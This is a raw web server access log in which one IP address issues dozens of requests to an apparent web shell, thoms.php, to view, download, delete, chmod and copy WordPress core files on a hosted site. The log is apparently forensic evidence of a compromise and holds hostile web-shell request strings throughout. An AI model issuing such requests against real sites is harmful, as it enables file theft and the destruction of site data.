45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /booking-wise2.com.tw/wp-includes/general-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-walker.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?chmod=class-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11545 "http://163.245.207.76:443/thoms.php?chmod=class-wp-comment-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-deprecated.php HTTP/1.1" 200 19321 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-deprecated.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?chmod=class-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-icons-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?del=functions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59439 "http://163.245.207.76:443/thoms.php?del=functions.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /booking-wise2.com.tw/wp-includes/ms-default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13732 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?chmod=option.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=option.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?dl=class-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-widget.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-duotone.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:20 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59433 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FIXR&p= HTTP/1.1" 200 12397 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2FIXR&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /booking-wise2.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11891 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59463 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /thoms.php?dl=class-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59388 "http://163.245.207.76:443/thoms.php?dl=class-wp-block.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /thoms.php?del=meta.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=meta.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:21 -0400] "GET /thoms.php?del=speculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?del=speculative-loading.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:22 -0400] "GET /thoms.php?del=category.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=category.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:22 -0400] "GET /thoms.php?dl=class-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59416 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-templates-registry.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:22 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11905 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-speculation-rules.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:22 -0400] "GET /thoms.php?del=class-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class-wp-roles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 200 22475 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=embed-template.php HTTP/1.1" 200 12107 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=embed-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?chmod=blocks.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=blocks.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?del=class.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class.wp-styles.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?del=canonical.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?dl=class-pop3.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-pop3.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wpdb.php HTTP/1.1" 200 48428 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wpdb.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /thoms.php?dl=class-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59397 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:23 -0400] "GET /booking-wise2.com.tw/wp-includes/deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?chmod=error-protection.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-editor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?del=class.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=class.wp-dependencies.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?chmod=certificates&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=certificates&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 200 20139 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-theme.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /booking-wise2.com.tw/wp-includes/certificates/ HTTP/1.1" 200 797 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?del=class-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?del=class-wp-token-map.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59436 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?dl=pluggable.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:24 -0400] "GET /thoms.php?del=block-bindings.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59401 "http://163.245.207.76:443/thoms.php?del=block-bindings.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /booking-wise2.com.tw/wp-includes/pluggable.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /booking-wise2.com.tw/wp-includes/class-walker-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcanonical.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11854 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fcanonical.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /thoms.php?dl=class-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59428 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-ixr-client.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 200 12878 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-site-query.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 200 12052 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:25 -0400] "GET /thoms.php?del=functions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?del=functions.wp-scripts.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?dl=option.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=option.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?dl=class-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?dl=class-wp-ajax-response.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-tax-query.php HTTP/1.1" 200 18382 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-tax-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?del=class-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59403 "http://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-source.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /booking-wise2.com.tw/wp-includes/atomlib.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29251 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:26 -0400] "GET /thoms.php?chmod=class-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11532 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-cookie.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /booking-wise2.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-response.php HTTP/1.1" 200 12939 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes&view=class-wp-http-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffunctions.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Ffunctions.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?chmod=utf8.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=utf8.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /booking-wise2.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 862 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 200 12406 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fsodium_compat HTTP/1.1" 200 13858 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-includes%2Fsodium_compat" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-includes%2Fclass-wp-hook.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:45:27 -0400] "GET /booking-wise2.com.tw/wp-includes/class-wp-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
